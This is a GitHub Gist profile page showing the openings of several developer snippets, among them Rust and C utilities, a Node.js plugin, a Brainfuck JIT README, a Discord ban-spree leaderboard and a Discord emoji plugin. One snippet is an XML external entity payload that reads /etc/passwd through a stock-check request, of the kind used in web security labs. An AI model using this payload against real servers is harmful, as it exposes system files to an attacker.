Skip to content

Instantly share code, notes, and snippets.

View molenzwiebel's full-sized avatar
😎
Hackerman

Thijs Molendijk molenzwiebel

😎
Hackerman
View GitHub Profile
/// Character substitutions for obfuscation purposes.
const SUBST_TABLE: &[(char, [&'static str; 4])] = &[
('Q', ["QP", "QD", "QW", "Q4"]),
('-', ["QL", "QB", "QO", "Q5"]),
('_', ["QC", "QN", "QT", "Q9"]),
('X', ["XU", "XN", "XH", "X3"]),
('!', ["XW", "XS", "XZ", "X0"]),
];
/// Character substitutions for deobfuscation purposes.
#include <stdio.h>
#include <inttypes.h>
#include <string.h>
void hexdump(void *ptr, int buflen) {
unsigned char *buf = (unsigned char*)ptr;
int i, j;
for (i=0; i<buflen; i+=16) {
printf("%06x: ", i);
use std::{
cell::RefCell,
collections::HashMap,
ops::{
AddAssign, Deref, DivAssign, Index, IndexMut, MulAssign, ShlAssign, ShrAssign, SubAssign,
},
rc::Rc,
};
use crate::op::{Insn, Opcode, PartialInsn, U16OrLabel};
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
@molenzwiebel
molenzwiebel / index.js
Created June 7, 2020 10:46
Example Hyperion pipeline plugin in node.js
const zmq = require("zeromq");
// Connect to the plugin manager located at `managerHost`, identify
// ourselves as `id` and request connection information. Returns an
// object of { pull: <sub info>, push: <pub info> }.
async function retrieveConnectionDetails(id, managerHost) {
const sock = new zmq.Request();
await sock.connect(managerHost); // connect to plugin manager
// Request pull info.
@molenzwiebel
molenzwiebel / infinity-war-leaderboard.md
Created July 27, 2018 17:50
Results of the CM Infinity War ban sprees.
Rank Username Banned At
1 topcyder#0001 Winner!
2 moonguardianjaim#6033 7/27/2018, 5:29:28 PM
3 TicTacTomato#3997 7/27/2018, 5:29:27 PM
4 Hëlix#8005 7/26/2018, 7:19:54 PM
5 martinchoto#8872 7/26/2018, 7:19:52 PM
6 Kryzik#7643 7/26/2018, 7:19:51 PM
7 WolfHunter17#4342 7/26/2018, 7:19:50 PM
8 porcho20#0118 7/25/2018, 7:00:31 PM
const ABBREVIATIONS = {
"mumu": "Amumu",
"ali": "Alistar",
"sol": "AurelionSol",
"aurelion": "AurelionSol",
"asol": "AurelionSol",
"blitz": "Blitzcrank",
"cait": "Caitlyn",
"cass": "Cassiopeia",
"cho": "ChoGath",
# ====================================================================================================
# ====================================================================================================
# ====================================================================================================
# ====================================================================================================
# ====================================================================================================
# ===================================== README README README README ==================================
# ====================================================================================================
# == IT IS HIGHLY RECOMMENDED THAT YOU READ THIS CODE WHILE READING THE ACCOMPANYING README FILE AT ==
# == THE SAME TIME. IT WILL EXPLAIN SOME CONCEPTS USED IN THIS CODE, AND WHILE THE COMMENTS ABOVE ==
# == FUNCTIONS CONTAIN A LOT OF CONTEXT, THEY WILL NOT EXPLAIN EVERYTHING. ALSO: I SPENT A LOT OF
@molenzwiebel
molenzwiebel / README.md
Last active November 3, 2017 23:58
Flash

Flash - Blazing Fast Brainfuck JIT

This will most likely be the fastest brainfuck runner in assembly that a student will ever hand in. This may sound over-confident, but I am certain that it is almost impossible to optimize brainfuck even more without implementing special cases for common constructs. I encourage you to read the code (and the accompanying comments). Although it is over 1000 lines of assembly, the comments give a lot of the information also outlined in this document.

Flash is an optimizing JIT compiler. JIT, or Just-In-Time, refers to the technique where the code to be ran is translated into machine instructions on the fly, which are then written to an executable block of memory and directly interpreted by the CPU. This is similar to how normal compilers work, but instead of writing the resulting instructions to an executable they are written and executed directly.

Program Flow

Flash goes through the following steps, in order:

  1. Construct And Optimize Code
  • Build IR
//META{"name":"EmojiTyperIntegration"}*//
const EmojiTyperIntegration = class EmojiTyperIntegration {
getName() { return "EmojiTyper Integration"; }
getShortName() { return "emojityper-integration"; }
getDescription() { return "Integrates https://emojityper.com with your emoji picker. Simply search with @<term> to query EmojiPicker, or type :@<query> in chat to autocomplete with EmojiPicker."; }
getVersion() { return "1.0.0"; }
getAuthor(){ return "molenzwiebel"; }
load() {}